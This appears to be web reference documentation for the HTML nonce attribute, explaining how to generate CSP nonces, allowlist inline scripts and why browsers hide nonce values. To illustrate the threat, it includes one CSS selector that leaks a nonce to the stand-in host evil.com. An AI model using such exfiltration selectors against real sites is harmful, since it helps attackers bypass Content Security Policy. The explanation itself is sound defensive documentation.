nonce HTML global attribute

Description

The nonce attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the CSP unsafe-inline directive, which would allowlist all inline scripts or styles.

Using nonce to allowlist a <script> element

There are a few steps involved to allowlist an inline script using the nonce mechanism:

Generating values

From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:

import crypto from "node:crypto";

crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

Allowlisting inline script

The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

Sending a nonce with a CSP header

Finally, you'll need to send the nonce value in a Content-Security-Policy header (prepend nonce-):

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Accessing nonces and nonce hiding

For security reasons, the nonce content attribute is hidden (an empty string will be returned).

script.getAttribute("nonce"); // returns empty string

The nonce property is the only way to access nonces:

script.nonce; // returns nonce value

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this:

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Specifications

Browser compatibility

See also

• HTMLElement.nonce
• Content Security Policy
• CSP: script-src